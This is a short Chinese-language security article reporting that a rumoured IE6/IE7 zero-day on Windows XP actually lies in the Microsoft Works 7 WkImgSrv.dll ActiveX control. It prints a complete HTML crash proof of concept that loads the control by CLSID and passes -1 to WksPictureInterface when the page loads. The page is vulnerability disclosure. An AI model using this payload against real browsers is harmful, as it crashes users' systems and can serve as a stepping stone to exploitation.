IE 0day漏洞问题出自MS Works

所属分类：网络安全 / 漏洞分析阅读数： 242

收藏 0赞 0分享

近几天网络上流传着一个传说为IE0DAY的POC代码，在XP系统环境下通杀了IE6和IE7，其它系统并未经过测试。其实这个漏洞并不是存在于IE，而是Microsoft Works的组件被挖掘出漏洞，部分的XP预装了Microsoft Works，所以就出现了过全补丁系统的漏洞（如华硕易PC 就预装了Microsoft Works）。
　　影响的DLL版本：Microsoft Works 7 WkImgSrv.dll （7.03.0616.0）　　以下为crash POC 　　<html>
　　<head>
　　<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
　　<script language=”JavaScript”>
function payload() {
var num = -1;
obj.WksPictureInterface = num;
}
　　</script>
　　</head>
　　<body onload=”JavaScript: return payload();”>
　　<object classid=”clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6″ id=”obj”>
　　</object>
　　</body>
　　</html>

更多精彩内容其他人还在看

IE 0day漏洞问题出自MS Works

织梦管理系统后台查找

ckeditor/DesignCms上传漏洞

DedeCmsV5.6 本地包含又一利用方式

phpcms V9 BLind SQL 注入漏洞0day

AWBS 2.9.2 Blind SQL 注入0day

金山毒霸多个sql注入及XSS漏洞和修复

Zblog最新跨站漏洞及利用代码

xyxcms v1.3 小游戏CMS 漏洞说明

Discuz X1.5 用不到 Gmail SSL SMTP

万能密码漏洞以及修复

网络赚钱

站长故事

IE 0day漏洞 问题出自MS Works

织梦管理系统后台查找

ckeditor/DesignCms上传漏洞

DedeCmsV5.6 本地包含又一利用方式

phpcms V9 BLind SQL 注入漏洞0day

AWBS 2.9.2 Blind SQL 注入0day

金山毒霸多个sql注入及XSS漏洞和修复

Zblog最新跨站漏洞及利用代码

xyxcms v1.3 小游戏CMS 漏洞说明

Discuz X1.5 用不到 Gmail SSL SMTP

万能密码漏洞以及修复

网络赚钱

站长故事

IE 0day漏洞问题出自MS Works